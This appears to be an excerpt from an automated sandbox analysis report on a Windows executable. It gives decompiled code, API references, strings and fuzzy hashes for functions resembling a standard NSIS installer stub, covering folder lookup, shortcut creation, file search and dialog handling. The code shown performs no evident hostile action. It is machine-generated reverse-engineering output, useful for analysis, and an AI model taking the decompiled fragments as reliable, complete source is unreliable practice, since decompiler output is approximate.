0x00405a2d
0x00405a30
0x00405a31
0x00405a38
0x00405a3a
0x00405a40
0x00405a43
0x00405a43
0x00405c1c
0x00405c1c
0x00405c20
0x00000000
0x00000000
0x00405a50
0x00405a56
0x00000000
0x00000000
0x00405a5c
0x00405a5d
0x00405a60
0x00405a63
0x00405c0f
0x00405c19
0x00405c1b
0x00405c1b
0x00405c11
0x00405c13
0x00405c15
0x00405c16
0x00405c16
0x00000000
0x00405c0f
0x00405a69
0x00405a6d
0x00405a7d
0x00405a81
0x00405a88
0x00405a8b
0x00405a8f
0x00405a95
0x00405a98
0x00405a9b
0x00405a9e
0x00405bb9
0x00405bbc
0x00405bec
0x00405bef
0x00405bf4
0x00405bf8
0x00405bf8
0x00405bfd
0x00405bfe
0x00405c03
0x00405c06
0x00405c08
0x00000000
0x00405c08
0x00405bbe
0x00405bc1
0x00405bd6
0x00405bdd
0x00405bc3
0x00405bca
0x00405bca
0x00405be5
0x00405be8
0x00405bb1
0x00405bb2
0x00405bb2
0x00000000
0x00405be8
0x00405aa6
0x00405aa7
0x00405aad
0x00405aaf
0x00405ac9
0x00405ac9
0x00405ad0
0x00405ad0
0x00405ad7
0x00405adb
0x00405adb
0x00405adc
0x00405ade
0x00405b17
0x00405b1a
0x00405b2a
0x00405b2d
0x00405b35
0x00405b3b
0x00405b3b
0x00405b97
0x00405b97
0x00405b99
0x00000000
0x00000000
0x00405b3f
0x00405b46
0x00405b47
0x00405b49
0x00405b63
0x00405b71
0x00405b77
0x00405b79
0x00405b94
0x00405b94
0x00405b94
0x00000000
0x00405b94
0x00405b7f
0x00405b8a
0x00405b90
0x00405b92
0x00000000
0x00000000
0x00000000
0x00405b92
0x00405b4b
0x00405b4e
0x00000000
0x00000000
0x00405b5d
0x00405b5f
0x00405b61
0x00000000
0x00000000
0x00000000
0x00405b61
0x00000000
0x00405b97
0x00405b22
0x00000000
0x00405ae0
0x00405ae5
0x00405afb
0x00405b00
0x00405b03
0x00405ba0
0x00405ba0
0x00405ba4
0x00405bac
0x00405bac
0x00000000
0x00405ba4
0x00405b0d
0x00405b9b
0x00405b9b
0x00405b9e
0x00000000
0x00000000
0x00000000
0x00405b9e
0x00405ade
0x00405ab1
0x00405ab5
0x00000000
0x00000000
0x00405ab7
0x00405abb
0x00000000
0x00000000
0x00405abd
0x00405ac1
0x00000000
0x00405ac3
0x00405ac3
0x00000000
0x00405ac3
0x00405ac1
0x00405c26
0x00405c30
0x00405c3c
0x00405c3c
0x00000000

APIs

GetVersion.KERNEL32(?,0041FC50,00000000,00404DB3,0041FC50,00000000), ref: 00405AA7
GetSystemDirectoryA.KERNEL32(Call,00000400), ref: 00405B22
GetWindowsDirectoryA.KERNEL32(Call,00000400), ref: 00405B35
SHGetSpecialFolderLocation.SHELL32(?,0040F020), ref: 00405B71
SHGetPathFromIDListA.SHELL32(0040F020,Call), ref: 00405B7F
CoTaskMemFree.OLE32(0040F020), ref: 00405B8A
lstrcatA.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00405BAC
lstrlenA.KERNEL32(Call,?,0041FC50,00000000,00404DB3,0041FC50,00000000), ref: 00405BFE

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00405AF1
Call, xrefs: 00405A28, 00405AEF, 00405B0C, 00405B21, 00405B34, 00405B50, 00405B7B, 00405BAB, 00405BB1, 00405BC9, 00405BDC, 00405BF7, 00405BFD, 00405C08, 00405C32
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00405BA6

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-1230650788
Opcode ID: 4882c5000ece73840c27ef34f72b9de924b5e58c0caf7ba4a0b851a4f11f77ef
Instruction ID: d3edd175ae4d098aa1e1d30cbcff8d3f456ad99068bf2b680a9da6a8a672f2a4
Opcode Fuzzy Hash: 4882c5000ece73840c27ef34f72b9de924b5e58c0caf7ba4a0b851a4f11f77ef
Instruction Fuzzy Hash: 30511471A04A04ABEB215F68DC84B7F3BB4EB55324F14423BE911B62D1D27C6981DF4E

Uniqueness

Uniqueness Score: -1.00%

Function 00402020, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 134
comCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00402020() {
				void* _t44;
				intOrPtr* _t48;
				intOrPtr* _t50;
				intOrPtr* _t52;
				intOrPtr* _t54;
				signed int _t58;
				intOrPtr* _t59;
				intOrPtr* _t62;
				intOrPtr* _t64;
				intOrPtr* _t66;
				intOrPtr* _t69;
				intOrPtr* _t71;
				int _t75;
				signed int _t81;
				intOrPtr* _t88;
				void* _t95;
				void* _t96;
				void* _t100;

				 *(_t100 - 0x30) = E004029F6(0xfffffff0);
				_t96 = E004029F6(0xffffffdf);
				 *((intOrPtr*)(_t100 - 0x2c)) = E004029F6(2);
				 *((intOrPtr*)(_t100 - 8)) = E004029F6(0xffffffcd);
				 *((intOrPtr*)(_t100 - 0x44)) = E004029F6(0x45);
				if(E0040553D(_t96) == 0) {
					E004029F6(0x21);
				}
				_t44 = _t100 + 8;
				__imp__CoCreateInstance(0x407384, _t75, 1, 0x407374, _t44);
				if(_t44 < _t75) {
					L13:
					 *((intOrPtr*)(_t100 - 4)) = 1;
					_push(0xfffffff0);
				} else {
					_t48 =  *((intOrPtr*)(_t100 + 8));
					_t95 =  *((intOrPtr*)( *_t48))(_t48, 0x407394, _t100 - 0x34);
					if(_t95 >= _t75) {
						_t52 =  *((intOrPtr*)(_t100 + 8));
						_t95 =  *((intOrPtr*)( *_t52 + 0x50))(_t52, _t96);
						_t54 =  *((intOrPtr*)(_t100 + 8));
						 *((intOrPtr*)( *_t54 + 0x24))(_t54, "C:\\Users\\jones\\AppData\\Local\\Temp");
						_t81 =  *(_t100 - 0x14);
						_t58 = _t81 >> 0x00000008 & 0x000000ff;
						if(_t58 != 0) {
							_t88 =  *((intOrPtr*)(_t100 + 8));
							 *((intOrPtr*)( *_t88 + 0x3c))(_t88, _t58);
							_t81 =  *(_t100 - 0x14);
						}
						_t59 =  *((intOrPtr*)(_t100 + 8));
						 *((intOrPtr*)( *_t59 + 0x34))(_t59, _t81 >> 0x10);
						if( *((intOrPtr*)( *((intOrPtr*)(_t100 - 8)))) != _t75) {
							_t71 =  *((intOrPtr*)(_t100 + 8));
							 *((intOrPtr*)( *_t71 + 0x44))(_t71,  *((intOrPtr*)(_t100 - 8)),  *(_t100 - 0x14) & 0x000000ff);
						}
						_t62 =  *((intOrPtr*)(_t100 + 8));
						 *((intOrPtr*)( *_t62 + 0x2c))(_t62,  *((intOrPtr*)(_t100 - 0x2c)));
						_t64 =  *((intOrPtr*)(_t100 + 8));
						 *((intOrPtr*)( *_t64 + 0x1c))(_t64,  *((intOrPtr*)(_t100 - 0x44)));
						if(_t95 >= _t75) {
							_t95 = 0x80004005;
							if(MultiByteToWideChar(_t75, _t75,  *(_t100 - 0x30), 0xffffffff, 0x409348, 0x400) != 0) {
								_t69 =  *((intOrPtr*)(_t100 - 0x34));
								_t95 =  *((intOrPtr*)( *_t69 + 0x18))(_t69, 0x409348, 1);
							}
						}
						_t66 =  *((intOrPtr*)(_t100 - 0x34));
						 *((intOrPtr*)( *_t66 + 8))(_t66);
					}
					_t50 =  *((intOrPtr*)(_t100 + 8));
					 *((intOrPtr*)( *_t50 + 8))(_t50);
					if(_t95 >= _t75) {
						_push(0xfffffff4);
					} else {
						goto L13;
					}
				}
				E00401423();
				 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t100 - 4));
				return 0;
			}

0x00402029
0x00402033
0x0040203c
0x00402046
0x0040204f
0x00402059
0x0040205d
0x0040205d
0x00402062
0x00402073
0x0040207b
0x0040215b
0x0040215b
0x00402162
0x00402081
0x00402081
0x00402092
0x00402096
0x0040209c
0x004020a6
0x004020a8
0x004020b3
0x004020b6
0x004020c3
0x004020c5
0x004020c7
0x004020ce
0x004020d1
0x004020d1
0x004020d4
0x004020de
0x004020e6
0x004020eb
0x004020f7
0x004020f7
0x004020fa
0x00402103
0x00402106
0x0040210f
0x00402114
0x00402126
0x00402135
0x00402137
0x00402143
0x00402143
0x00402135
0x00402145
0x0040214b
0x0040214b
0x0040214e
0x00402154
0x00402159
0x0040216e
0x00000000
0x00000000
0x00000000
0x00402159
0x00402164
0x0040288e
0x0040289a

APIs

CoCreateInstance.OLE32(00407384,?,00000001,00407374,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402073
MultiByteToWideChar.KERNEL32(?,?,?,000000FF,00409348,00000400,?,00000001,00407374,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040212D

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 004020AB

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: C:\Users\user\AppData\Local\Temp
API String ID: 123533781-47812868
Opcode ID: 71453fb45c89770e4f5e9780d50359adef83bdbe6145f3bfd3e7a5e9e412efc0
Instruction ID: ce0b4858a9f81ea3ddc308d80d774a06bef6b406c5dcff46aa6a4b0d76e862c7
Opcode Fuzzy Hash: 71453fb45c89770e4f5e9780d50359adef83bdbe6145f3bfd3e7a5e9e412efc0
Instruction Fuzzy Hash: AE418E75A00205BFCB40DFA4CD88E9E7BBABF48354B204269FA15FB2D1CA799D41CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0040263E, Relevance: 1.5, APIs: 1, Instructions: 29
fileCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E0040263E(char __ebx, char* __edi, char* __esi) {
				void* _t19;

				if(FindFirstFileA(E004029F6(2), _t19 - 0x1a4) != 0xffffffff) {
					E0040593B(__edi, _t6);
					_push(_t19 - 0x178);
					_push(__esi);
					E004059DD();
				} else {
					 *__edi = __ebx;
					 *__esi = __ebx;
					 *((intOrPtr*)(_t19 - 4)) = 1;
				}
				 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t19 - 4));
				return 0;
			}

0x00402656
0x0040266a
0x00402675
0x00402676
0x004027b1
0x00402658
0x00402658
0x0040265a
0x0040265c
0x0040265c
0x0040288e
0x0040289a

APIs

FindFirstFileA.KERNEL32(00000000,?,00000002), ref: 0040264D

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 7ce125ca612887df162c36b751337e4c26a37c050d4ffda7300b23609ce4967c
Instruction ID: 14dcf34609860af9969e045d3f077fc7a18bb2554c958aa599433bfc977b1d94
Opcode Fuzzy Hash: 7ce125ca612887df162c36b751337e4c26a37c050d4ffda7300b23609ce4967c
Instruction Fuzzy Hash: 86F0E572A04101DFD700EBB49E49AEEB778DF51328FA0067BF101F20C1D2B84A45DB2A

Uniqueness

Uniqueness Score: -1.00%

Function 004038BC, Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E004038BC(struct HWND__* _a4, signed int _a8, int _a12, long _a16) {
				struct HWND__* _v32;
				void* _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				signed int _t37;
				signed int _t39;
				struct HWND__* _t49;
				signed int _t67;
				struct HWND__* _t73;
				signed int _t86;
				struct HWND__* _t91;
				signed int _t99;
				int _t103;
				signed int _t115;
				signed int _t116;
				int _t117;
				signed int _t122;
				struct HWND__* _t125;
				struct HWND__* _t126;
				int _t127;
				long _t130;
				int _t132;
				int _t133;
				void* _t134;

				_t115 = _a8;
				if(_t115 == 0x110 || _t115 == 0x408) {
					_t35 = _a12;
					_t125 = _a4;
					__eflags = _t115 - 0x110;
					 *0x42045c = _t35;
					if(_t115 == 0x110) {
						 *0x423e88 = _t125;
						 *0x420470 = GetDlgItem(_t125, 1);
						_t91 = GetDlgItem(_t125, 2);
						_push(0xffffffff);
						_push(0x1c);
						 *0x41f438 = _t91;
						E00403D8F(_t125);
						SetClassLongA(_t125, 0xfffffff2,  *0x423668);
						 *0x42364c = E0040140B(4);
						_t35 = 1;
						__eflags = 1;
						 *0x42045c = 1;
					}
					_t122 =  *0x4091a4; // 0xffffffff
					_t133 = 0;
					_t130 = (_t122 << 6) +  *0x423ea0;
					__eflags = _t122;
					if(_t122 < 0) {
						L34:
						E00403DDB(0x40b);
						while(1) {
							_t37 =  *0x42045c;
							 *0x4091a4 =  *0x4091a4 + _t37;
							_t130 = _t130 + (_t37 << 6);
							_t39 =  *0x4091a4; // 0xffffffff
							__eflags = _t39 -  *0x423ea4;
							if(_t39 ==  *0x423ea4) {
								E0040140B(1);
							}
							__eflags =  *0x42364c - _t133;
							if( *0x42364c != _t133) {
								break;
							}
							__eflags =  *0x4091a4 -  *0x423ea4; // 0xffffffff
							if(__eflags >= 0) {
								break;
							}
							_t116 =  *(_t130 + 0x14);
							E004059FF(_t116, _t125, _t130, 0x42b800,  *((intOrPtr*)(_t130 + 0x24)));
							_push( *((intOrPtr*)(_t130 + 0x20)));
							_push(0xfffffc19);
							E00403D8F(_t125);
							_push( *((intOrPtr*)(_t130 + 0x1c)));
							_push(0xfffffc1b);
							E00403D8F(_t125);
							_push( *((intOrPtr*)(_t130 + 0x28)));
							_push(0xfffffc1a);
							E00403D8F(_t125);
							_t49 = GetDlgItem(_t125, 3);
							__eflags =  *0x423f0c - _t133;
							_v32 = _t49;
							if( *0x423f0c != _t133) {
								_t116 = _t116 & 0x0000fefd | 0x00000004;
								__eflags = _t116;
							}
							ShowWindow(_t49, _t116 & 0x00000008);
							EnableWindow( *(_t134 + 0x30), _t116 & 0x00000100);
							E00403DB1(_t116 & 0x00000002);
							_t117 = _t116 & 0x00000004;
							EnableWindow( *0x41f438, _t117);
							__eflags = _t117 - _t133;
							if(_t117 == _t133) {
								_push(1);
							} else {
								_push(_t133);
							}
							EnableMenuItem(GetSystemMenu(_t125, _t133), 0xf060, ??);
							SendMessageA( *(_t134 + 0x38), 0xf4, _t133, 1);
							__eflags =  *0x423f0c - _t133;
							if( *0x423f0c == _t133) {
								_push( *0x420470);
							} else {
								SendMessageA(_t125, 0x401, 2, _t133);
								_push( *0x41f438);
							}
							E00403DC4();
							E004059DD(0x420478, 0x423680);
							E004059FF(0x420478, _t125, _t130,  &(0x420478[lstrlenA(0x420478)]),  *((intOrPtr*)(_t130 + 0x18)));
							SetWindowTextA(_t125, 0x420478);
							_push(_t133);
							_t67 = E00401389( *((intOrPtr*)(_t130 + 8)));
							__eflags = _t67;
							if(_t67 != 0) {
								continue;
							} else {
								__eflags =  *_t130 - _t133;
								if( *_t130 == _t133) {
									continue;
								}
								__eflags =  *(_t130 + 4) - 5;
								if( *(_t130 + 4) != 5) {
									DestroyWindow( *0x423658);
									 *0x41fc48 = _t130;
									__eflags =  *_t130 - _t133;
									if( *_t130 <= _t133) {
										goto L58;
									}
									_t73 = CreateDialogParamA( *0x423e80,  *_t130 +  *0x423660 & 0x0000ffff, _t125,  *(0x4091a8 +  *(_t130 + 4) * 4), _t130);
									__eflags = _t73 - _t133;
									 *0x423658 = _t73;
									if(_t73 == _t133) {
										goto L58;
									}
									_push( *((intOrPtr*)(_t130 + 0x2c)));
									_push(6);
									E00403D8F(_t73);
									GetWindowRect(GetDlgItem(_t125, 0x3fa), _t134 + 0x10);
									ScreenToClient(_t125, _t134 + 0x10);
									SetWindowPos( *0x423658, _t133,  *(_t134 + 0x20),  *(_t134 + 0x20), _t133, _t133, 0x15);
									_push(_t133);
									E00401389( *((intOrPtr*)(_t130 + 0xc)));
									__eflags =  *0x42364c - _t133;
									if( *0x42364c != _t133) {
										goto L61;
									}
									ShowWindow( *0x423658, 8);
									E00403DDB(0x405);
									goto L58;
								}
								__eflags =  *0x423f0c - _t133;
								if( *0x423f0c != _t133) {
									goto L61;
								}
								__eflags =  *0x423f00 - _t133;
								if( *0x423f00 != _t133) {
									continue;
								}
								goto L61;
							}
						}
						DestroyWindow( *0x423658);
						 *0x423e88 = _t133;
						EndDialog(_t125,  *0x41f840);
						goto L58;
					} else {
						__eflags = _t35 - 1;
						if(_t35 != 1) {
							L33:
							__eflags =  *_t130 - _t133;
							if( *_t130 == _t133) {
								goto L61;
							}
							goto L34;
						}
						_push(0);
						_t86 = E00401389( *((intOrPtr*)(_t130 + 0x10)));
						__eflags = _t86;
						if(_t86 == 0) {
							goto L33;
						}
						SendMessageA( *0x423658, 0x40f, 0, 1);
						__eflags =  *0x42364c;
						return 0 |  *0x42364c == 0x00000000;
					}
				} else {
					_t125 = _a4;
					_t133 = 0;
					if(_t115 == 0x47) {
						SetWindowPos( *0x420450, _t125, 0, 0, 0, 0, 0x13);
					}
					if(_t115 == 5) {
						asm("sbb eax, eax");
						ShowWindow( *0x420450,  ~(_a12 - 1) & _t115);
					}
					if(_t115 != 0x40d) {
						__eflags = _t115 - 0x11;
						if(_t115 != 0x11) {
							__eflags = _t115 - 0x111;
							if(_t115 != 0x111) {
								L26:
								return E00403DF6(_t115, _a12, _a16);
							}
							_t132 = _a12 & 0x0000ffff;
							_t126 = GetDlgItem(_t125, _t132);
							__eflags = _t126 - _t133;
							if(_t126 == _t133) {
								L13:
								__eflags = _t132 - 1;
								if(_t132 != 1) {
									__eflags = _t132 - 3;
									if(_t132 != 3) {
										_t127 = 2;
										__eflags = _t132 - _t127;
										if(_t132 != _t127) {
											L25:
											SendMessageA( *0x423658, 0x111, _a12, _a16);
											goto L26;
										}
										__eflags =  *0x423f0c - _t133;
										if( *0x423f0c == _t133) {
											_t99 = E0040140B(3);
											__eflags = _t99;
											if(_t99 != 0) {
												goto L26;
											}
											 *0x41f840 = 1;
											L21:
											_push(0x78);
											L22:
											E00403D68();
											goto L26;
										}
										E0040140B(_t127);
										 *0x41f840 = _t127;
										goto L21;
									}
									__eflags =  *0x4091a4 - _t133; // 0xffffffff
									if(__eflags <= 0) {
										goto L25;
									}
									_push(0xffffffff);
									goto L22;
								}
								_push(_t132);
								goto L22;
							}
							SendMessageA(_t126, 0xf3, _t133, _t133);
							_t103 = IsWindowEnabled(_t126);
							__eflags = _t103;
							if(_t103 == 0) {
								goto L61;
							}
							goto L13;
						}
						SetWindowLongA(_t125, _t133, _t133);
						return 1;
					} else {
						DestroyWindow( *0x423658);
						 *0x423658 = _a12;
						L58:
						if( *0x421478 == _t133 &&  *0x423658 != _t133) {
							ShowWindow(_t125, 0xa);
							 *0x421478 = 1;
						}
						L61:
						return 0;
					}
				}
			}

0x004038c5
0x004038ce
0x00403a0f
0x00403a13
0x00403a17
0x00403a19
0x00403a1e
0x00403a29
0x00403a34
0x00403a39
0x00403a3b
0x00403a3d
0x00403a40
0x00403a45
0x00403a53
0x00403a60
0x00403a67
0x00403a67
0x00403a68
0x00403a68
0x00403a6d
0x00403a73
0x00403a7a
0x00403a80
0x00403a82
0x00403ac2
0x00403ac7
0x00403acc
0x00403acc
0x00403ad1
0x00403ada
0x00403adc
0x00403ae1
0x00403ae7
0x00403aeb
0x00403aeb
0x00403af0
0x00403af6
0x00000000
0x00000000
0x00403b01
0x00403b07
0x00000000
0x00000000
0x00403b10
0x00403b18
0x00403b1d
0x00403b20
0x00403b26
0x00403b2b
0x00403b2e
0x00403b34
0x00403b39
0x00403b3c
0x00403b42
0x00403b4a
0x00403b50
0x00403b56
0x00403b5a
0x00403b61
0x00403b61
0x00403b61
0x00403b6b
0x00403b7d
0x00403b89
0x00403b8e
0x00403b98
0x00403b9e
0x00403ba0
0x00403ba5
0x00403ba2
0x00403ba2
0x00403ba2
0x00403bb5
0x00403bcd
0x00403bcf
0x00403bd5
0x00403bea
0x00403bd7
0x00403be0
0x00403be2
0x00403be2
0x00403bf0
0x00403c00
0x00403c11
0x00403c18
0x00403c1e
0x00403c22
0x00403c27
0x00403c29
0x00000000
0x00403c2f
0x00403c2f
0x00403c31
0x00000000
0x00000000
0x00403c37
0x00403c3b
0x00403c60
0x00403c66
0x00403c6c
0x00403c6e
0x00000000
0x00000000
0x00403c94
0x00403c9a
0x00403c9c
0x00403ca1
0x00000000
0x00000000
0x00403ca7
0x00403caa
0x00403cad
0x00403cc4
0x00403cd0
0x00403ce9
0x00403cef
0x00403cf3
0x00403cf8
0x00403cfe
0x00000000
0x00000000
0x00403d08
0x00403d13
0x00000000
0x00403d13
0x00403c3d
0x00403c43
0x00000000
0x00000000
0x00403c49
0x00403c4f
0x00000000
0x00000000
0x00000000
0x00403c55
0x00403c29
0x00403d20
0x00403d2c
0x00403d33
0x00000000
0x00403a84
0x00403a84
0x00403a87
0x00403aba
0x00403aba
0x00403abc
0x00000000
0x00000000
0x00000000
0x00403abc
0x00403a89
0x00403a8d
0x00403a92
0x00403a94
0x00000000
0x00000000
0x00403aa4
0x00403aac
0x00000000
0x00403ab2
0x004038e0
0x004038e0
0x004038e4
0x004038e9
0x004038f8
0x004038f8
0x00403901
0x0040390a
0x00403915
0x00403915
0x00403921
0x0040393d
0x00403940
0x00403953
0x00403959
0x004039fc
0x00000000
0x00403a05
0x0040395f
0x0040396c
0x0040396e
0x00403970
0x0040398f
0x0040398f
0x00403992
0x00403997
0x0040399a
0x004039aa
0x004039ab
0x004039ad
0x004039e3
0x004039f6
0x00000000
0x004039f6
0x004039af
0x004039b5
0x004039ce
0x004039d3
0x004039d5
0x00000000
0x00000000
0x004039d7
0x004039c3
0x004039c3
0x004039c5
0x004039c5
0x00000000
0x004039c5
0x004039b8
0x004039bd
0x00000000
0x004039bd
0x0040399c
0x004039a2
0x00000000
0x00000000
0x004039a4
0x00000000
0x004039a4
0x00403994
0x00000000
0x00403994
0x0040397a
0x00403981
0x00403987
0x00403989
0x00000000
0x00000000
0x00000000
0x00403989
0x00403945
0x00000000
0x00403923
0x00403929
0x00403933
0x00403d39
0x00403d3f
0x00403d4c
0x00403d52
0x00403d52
0x00403d5c
0x00000000
0x00403d5c
0x00403921

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004038F8
ShowWindow.USER32(?), ref: 00403915
DestroyWindow.USER32 ref: 00403929
SetWindowLongA.USER32 ref: 00403945
GetDlgItem.USER32 ref: 00403966
SendMessageA.USER32 ref: 0040397A
IsWindowEnabled.USER32(00000000), ref: 00403981
GetDlgItem.USER32 ref: 00403A2F
GetDlgItem.USER32 ref: 00403A39
SetClassLongA.USER32(?,000000F2,?,0000001C,000000FF), ref: 00403A53
SendMessageA.USER32 ref: 00403AA4
GetDlgItem.USER32 ref: 00403B4A
ShowWindow.USER32(00000000,?), ref: 00403B6B
EnableWindow.USER32(?,?), ref: 00403B7D
EnableWindow.USER32(?,?), ref: 00403B98
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403BAE
EnableMenuItem.USER32 ref: 00403BB5
SendMessageA.USER32 ref: 00403BCD
SendMessageA.USER32 ref: 00403BE0
lstrlenA.KERNEL32(00420478,?,00420478,00423680), ref: 00403C09
SetWindowTextA.USER32(?,00420478), ref: 00403C18
ShowWindow.USER32(?,0000000A), ref: 00403D4C

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 184305955-0
Opcode ID: d8b962e911b7c253e61e73d21e88cb3add85ad3b5a8fe6332aee3bd0e594c397
Instruction ID: 874aaf0cc80a4ada72e8b6aceb9d73cb056a569e4b675a7f159d56e4bf17f1bf
Opcode Fuzzy Hash: d8b962e911b7c253e61e73d21e88cb3add85ad3b5a8fe6332aee3bd0e594c397
Instruction Fuzzy Hash: F9C18E71A04204BBDB206F21ED85E2B3E7CEB05746F40453EF641B52F1C779AA429B2E

Uniqueness

Uniqueness Score: -1.00%

Function 00403ED7, Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 204
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00403ED7(struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, int _a16) {
				char _v8;
				signed int _v12;
				void* _v16;
				struct HWND__* _t52;
				long _t86;
				int _t98;
				struct HWND__* _t99;
				signed int _t100;
				intOrPtr _t109;
				int _t110;
				signed int* _t112;
				signed int _t113;
				char* _t114;
				CHAR* _t115;

				if(_a8 != 0x110) {
					if(_a8 != 0x111) {
						L11:
						if(_a8 != 0x4e) {
							if(_a8 == 0x40b) {
								 *0x420458 =  *0x420458 + 1;
							}
							L25:
							_t110 = _a16;
							L26:
							return E00403DF6(_a8, _a12, _t110);
						}
						_t52 = GetDlgItem(_a4, 0x3e8);
						_t110 = _a16;
						if( *((intOrPtr*)(_t110 + 8)) == 0x70b &&  *((intOrPtr*)(_t110 + 0xc)) == 0x201) {
							_t100 =  *((intOrPtr*)(_t110 + 0x1c));
							_t109 =  *((intOrPtr*)(_t110 + 0x18));
							_v12 = _t100;
							_v16 = _t109;
							_v8 = 0x422e20;
							if(_t100 - _t109 < 0x800) {
								SendMessageA(_t52, 0x44b, 0,  &_v16);
								SetCursor(LoadCursorA(0, 0x7f02));
								_t40 =  &_v8; // 0x422e20
								ShellExecuteA(_a4, "open",  *_t40, 0, 0, 1);
								SetCursor(LoadCursorA(0, 0x7f00));
								_t110 = _a16;
							}
						}
						if( *((intOrPtr*)(_t110 + 8)) != 0x700 ||  *((intOrPtr*)(_t110 + 0xc)) != 0x100) {
							goto L26;
						} else {
							if( *((intOrPtr*)(_t110 + 0x10)) == 0xd) {
								SendMessageA( *0x423e88, 0x111, 1, 0);
							}
							if( *((intOrPtr*)(_t110 + 0x10)) == 0x1b) {
								SendMessageA( *0x423e88, 0x10, 0, 0);
							}
							return 1;
						}
					}
					if(_a12 >> 0x10 != 0 ||  *0x420458 != 0) {
						goto L25;
					} else {
						_t112 =  *0x41fc48 + 0x14;
						if(( *_t112 & 0x00000020) == 0) {
							goto L25;
						}
						 *_t112 =  *_t112 & 0xfffffffe | SendMessageA(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001;
						E00403DB1(SendMessageA(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001);
						E00404162();
						goto L11;
					}
				}
				_t98 = _a16;
				_t113 =  *(_t98 + 0x30);
				if(_t113 < 0) {
					_t113 =  *( *0x42365c - 4 + _t113 * 4);
				}
				_push( *((intOrPtr*)(_t98 + 0x34)));
				_t114 = _t113 +  *0x423eb8;
				_push(0x22);
				_a16 =  *_t114;
				_v12 = _v12 & 0x00000000;
				_t115 = _t114 + 1;
				_v16 = _t115;
				_v8 = E00403EA3;
				E00403D8F(_a4);
				_push( *((intOrPtr*)(_t98 + 0x38)));
				_push(0x23);
				E00403D8F(_a4);
				CheckDlgButton(_a4, (0 | ( !( *(_t98 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t98 + 0x14) & 0x00000001) == 0x00000000) + 0x40a, 1);
				E00403DB1( !( *(_t98 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t98 + 0x14) & 0x00000001);
				_t99 = GetDlgItem(_a4, 0x3e8);
				E00403DC4(_t99);
				SendMessageA(_t99, 0x45b, 1, 0);
				_t86 =  *( *0x423e90 + 0x68);
				if(_t86 < 0) {
					_t86 = GetSysColor( ~_t86);
				}
				SendMessageA(_t99, 0x443, 0, _t86);
				SendMessageA(_t99, 0x445, 0, 0x4010000);
				 *0x41f43c =  *0x41f43c & 0x00000000;
				SendMessageA(_t99, 0x435, 0, lstrlenA(_t115));
